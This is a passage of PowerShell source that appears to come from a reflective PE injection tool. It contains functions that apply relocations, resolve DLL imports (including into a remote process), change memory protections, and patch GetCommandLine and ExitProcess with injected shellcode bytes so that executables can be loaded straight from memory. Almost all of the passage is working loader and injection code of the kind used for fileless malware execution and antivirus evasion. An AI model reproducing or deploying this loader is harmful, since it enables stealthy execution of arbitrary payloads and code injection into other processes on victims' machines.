$BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
if ($BaseRelocationTable.SizeOfBlock -eq 0)
{
break
}
[IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
$NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
#Loop through each relocation
for($i = 0; $i -lt $NumRelocations; $i++)
{
#Get info for this relocation
$RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
[UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
#First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
[UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
[UInt16]$RelocType = $RelocationInfo -band 0xF000
for ($j = 0; $j -lt 12; $j++)
{
$RelocType = [Math]::Floor($RelocType / 2)
}
#For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
#This appears to be true for EXE's as well.
# Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
-or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
{
#Get the current memory address and update it based off the difference between PE expected base address and actual base address
[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
if ($AddDifference -eq $true)
{
[IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
else
{
[IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
}
elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
{
#IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
}
}
$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
}
}
Function Import-DllImports
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 4, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle
)
$RemoteLoading = $false
if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
{
$RemoteLoading = $true
}
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
#Write-Verbose "Done importing DLL imports"
break
}
$ImportDllHandle = [IntPtr]::Zero
$ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
if ($RemoteLoading -eq $true)
{
$ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
}
else
{
$ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
}
if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
{
throw "Error importing DLL, DLLName: $ImportDllPath"
}
#Get the first thunk, then loop through all of them
[IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
{
$ProcedureName = ''
#Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
# If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
# and doing the comparison, just see if it is less than 0
[IntPtr]$NewThunkRef = [IntPtr]::Zero
if([Int64]$OriginalThunkRefVal -lt 0)
{
$ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
}
else
{
[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
}
if ($RemoteLoading -eq $true)
{
[IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName
}
else
{
[IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName)
}
if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
{
Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
}
Function Get-VirtualProtectValue
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt32]
$SectionCharacteristics
)
$ProtectionFlag = 0x0
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE
}
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_READONLY
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_NOACCESS
}
}
}
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
{
$ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
}
return $ProtectionFlag
}
Function Update-MemoryProtectionFlags
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
[IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
[UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
[UInt32]$SectionSize = $SectionHeader.VirtualSize
[UInt32]$OldProtectFlag = 0
Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Unable to change memory protection"
}
}
}
#This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
#Returns an object with addresses to copies of the bytes that were overwritten (and the count)
Function Update-ExeFunctions
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[String]
$ExeArguments,
[Parameter(Position = 4, Mandatory = $true)]
[IntPtr]
$ExeDoneBytePtr
)
#This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
$ReturnArray = @()
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[UInt32]$OldProtectFlag = 0
[IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
if ($Kernel32Handle -eq [IntPtr]::Zero)
{
throw "Kernel32 handle null"
}
[IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
if ($KernelBaseHandle -eq [IntPtr]::Zero)
{
throw "KernelBase handle null"
}
#################################################
#First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
# We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
$CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
$CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
[IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
[IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
{
throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr"
}
#Prepare the shellcode
[Byte[]]$Shellcode1 = @()
if ($PtrSize -eq 8)
{
$Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
}
$Shellcode1 += 0xb8
[Byte[]]$Shellcode2 = @(0xc3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
#Make copy of GetCommandLineA and GetCommandLineW
$GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
$Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
$ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
#Overwrite GetCommandLineA
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineAAddrTemp = $GetCommandLineAAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
#Overwrite GetCommandLineW
[UInt32]$OldProtectFlag = 0
$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
$GetCommandLineWAddrTemp = $GetCommandLineWAddr
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
$Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
#################################################
#################################################
#For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
# I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
# It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
# argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
$DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
foreach ($Dll in $DllList)
{
[IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
if ($DllHandle -ne [IntPtr]::Zero)
{
[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
[IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
{
"Error, couldn't find _wcmdln or _acmdln"
}
$NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
$NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
#Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
$OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
$OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
$OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
$ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
$ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
$Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
$Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
if ($Success = $false)
{
throw "Call to VirtualProtect failed"
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
$Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
}
}
#################################################
#################################################
#Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
$ReturnArray = @()
$ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
#CorExitProcess (compiled in to visual studio c++)
[IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
if ($MscoreeHandle -eq [IntPtr]::Zero)
{
throw "mscoree handle null"
}
[IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
if ($CorExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "CorExitProcess address not found"
}
$ExitFunctions += $CorExitProcessAddr
#ExitProcess (what non-managed programs use)
[IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
if ($ExitProcessAddr -eq [IntPtr]::Zero)
{
Throw "ExitProcess address not found"
}
$ExitFunctions += $ExitProcessAddr
[UInt32]$OldProtectFlag = 0
foreach ($ProcExitFunctionAddr in $ExitFunctions)
{
$ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
#The following is the shellcode (Shellcode: ExitThread.asm):
#32bit shellcode
[Byte[]]$Shellcode1 = @(0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
#64bit shellcode (Shellcode: ExitThread.asm)
if ($PtrSize -eq 8)
{
[Byte[]]$Shellcode1 = @(0x48, 0xbb)
[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
}
[Byte[]]$Shellcode3 = @(0xff, 0xd3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
[IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
if ($ExitThreadAddr -eq [IntPtr]::Zero)
{
Throw "ExitThread address not found"
}
$Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
#Make copy of original ExitProcess bytes
$ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
$ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
#Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
# call ExitThread
Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp
$Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
#################################################
Write-Output $ReturnArray
}
#This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
# It copies Count bytes from Source to Destination.
Function Copy-ArrayOfMemAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Array[]]
$CopyInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants
)
[UInt32]$OldProtectFlag = 0
foreach ($Info in $CopyInfo)
{
$Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
if ($Success -eq $false)
{
Throw "Call to VirtualProtect failed"
}
$Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
$Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
}
}
#####################################
########## FUNCTIONS ###########
#####################################
Function Get-MemoryProcAddress
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[IntPtr]
$PEHandle,
[Parameter(Position = 1, Mandatory = $true)]
[String]
$FunctionName
)
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
#Get the export table
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
{
return [IntPtr]::Zero
}
$ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
$ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
{
#AddressOfNames is an array of pointers to strings of the names of the functions exported
$NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
$Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
if ($Name -ceq $FunctionName)
{
#AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions
# which contains the offset of the function in to the DLL
$OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
$FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
$FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
$FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
}
}
return [IntPtr]::Zero
}
Function Invoke-MemoryLoadLibrary
{
Param(
[Parameter( Position = 0, Mandatory = $true )]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $false)]
[String]
$ExeArgs,
[Parameter(Position = 2, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle